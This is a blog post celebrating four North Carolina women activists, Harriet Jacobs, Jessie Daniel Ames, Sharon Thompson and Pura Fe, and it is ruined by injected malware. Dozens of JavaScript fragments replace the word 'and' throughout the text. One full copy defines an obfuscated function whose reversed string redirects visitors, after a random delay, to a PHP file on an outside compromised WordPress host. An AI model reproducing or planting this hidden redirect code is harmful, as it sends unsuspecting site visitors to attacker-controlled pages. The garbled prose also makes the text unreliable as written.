4 Independent NC Women Who Are Better Than Fireworks

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I am sure I am not the only one who has been thinking a lot this week about courage, race, gay rights, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the role of women in fighting for what is right. What a roller coaster of emotions!

I was horrified by the Charleston massacre andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and offended by >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and_politics/history/2015/06/the_deadly_history_of_they_re_raping_our_women_racists_have_long_defended.html”>Dylan Roof’s rant about African Americans raping “his” women. I celebrated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and watched Facebook turn into a rainbow after the Supreme Court decision. President >>Obama’s eulogy for Rev. Pinckney gave me hope. And Bree Newsome inspired me when she climbed the flagpole to take down the Confederate battle flag from South Carolina’s capitol grounds.

Here are four more women whose stories give me hope andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspiration — all of them North Carolinians:

  • When we talk about race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rape, we really should be talking about the history of white men raping black women. Harriet Ann Jacobs (1813-1897) was one of the first to do just that. She was an African American writer, abolitionist, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feminist from Edenton, NC.  Born a slave, her >>autobiography details the reality of rape andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sexual abuse facing slave women. Her mistress’s father sexually harassed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and threatened Jacobs for years. She escaped to Philadelphia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and became active in the abolition movement, despite her fears that her abuser would claim her andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take her back to Edenton. After the Civil War she joined the American Equal Rights Association which supported voting rights “irrespective of race, color, or sex,” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and promoted education for freedmen.
  • >>Jessie Daniels Ames (1883-1972), a white woman, believed that lynching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the myth of chivalry served to oppress black men andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to demean women. A native Texan, she moved to Tryon NC in her final years. In 1930, a black man in Sherman, Texas was lynched after being accused of raping a white woman. Ames responded by founding the Association of Southern Women for the Prevention of Lynching. As she said later, “the men were out making studies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surveys of lynchings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so the women had to get busy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do what they could to stop lynchings.” In the first two years of operation, Ames personally investigated 20 lynchings that allegedly involved sexual assaults on white women.
  • In 2001, the Netherlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands became the first country to legalize same-sex marriage. But for years before that, Sharon Thompson, a Durham-based attorney, was working on legal issues affecting LGBT people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families, including those who use >>assisted reproductive technology to create their families. A member of the NC House of Representatives from 1987-1990, she was a fearless advocate for the women of NC – including successfully fighting for the State Abortion Fund for low income women. She was one of four women who founded the NC Association of Women attorneys andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one of the co-founders of the NC Association of Gay andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lesbian Attorneys.
  • Pura Fe is a Tuscarora/Taino musician who is doing more than just worry about climate change.  She uses her music to educate audiences about major issues for Native Americans – especially environmental issues. A Durham based musician andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and songwriter, >>her music pairs Native traditional andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and contemporary music, including the blues, Tuscarora chants, handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and drums andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the lap steel slide guitar. She marched in the front line of the People’s Climate March in 2014 where she said that indigenous people “took our rightful place as the protectors … we are these landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands … we have never stopped fighting for her life, we are one andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the same.”

So, as we head into the 4th of July weekend, let’s not just celebrate the founding fathers, but also the “Sheroes” who fought andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are fighting against the prevailing tide, moving our country forward on its promise of “liberty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and justice for all.”

>>FullSizeRender (1)Janet Colm is the founder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and former CEO of Planned Parenthood of Central North Carolina. She was arrested as part of the Moral Monday protests in July 2013 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lives in Chatham County, NC.




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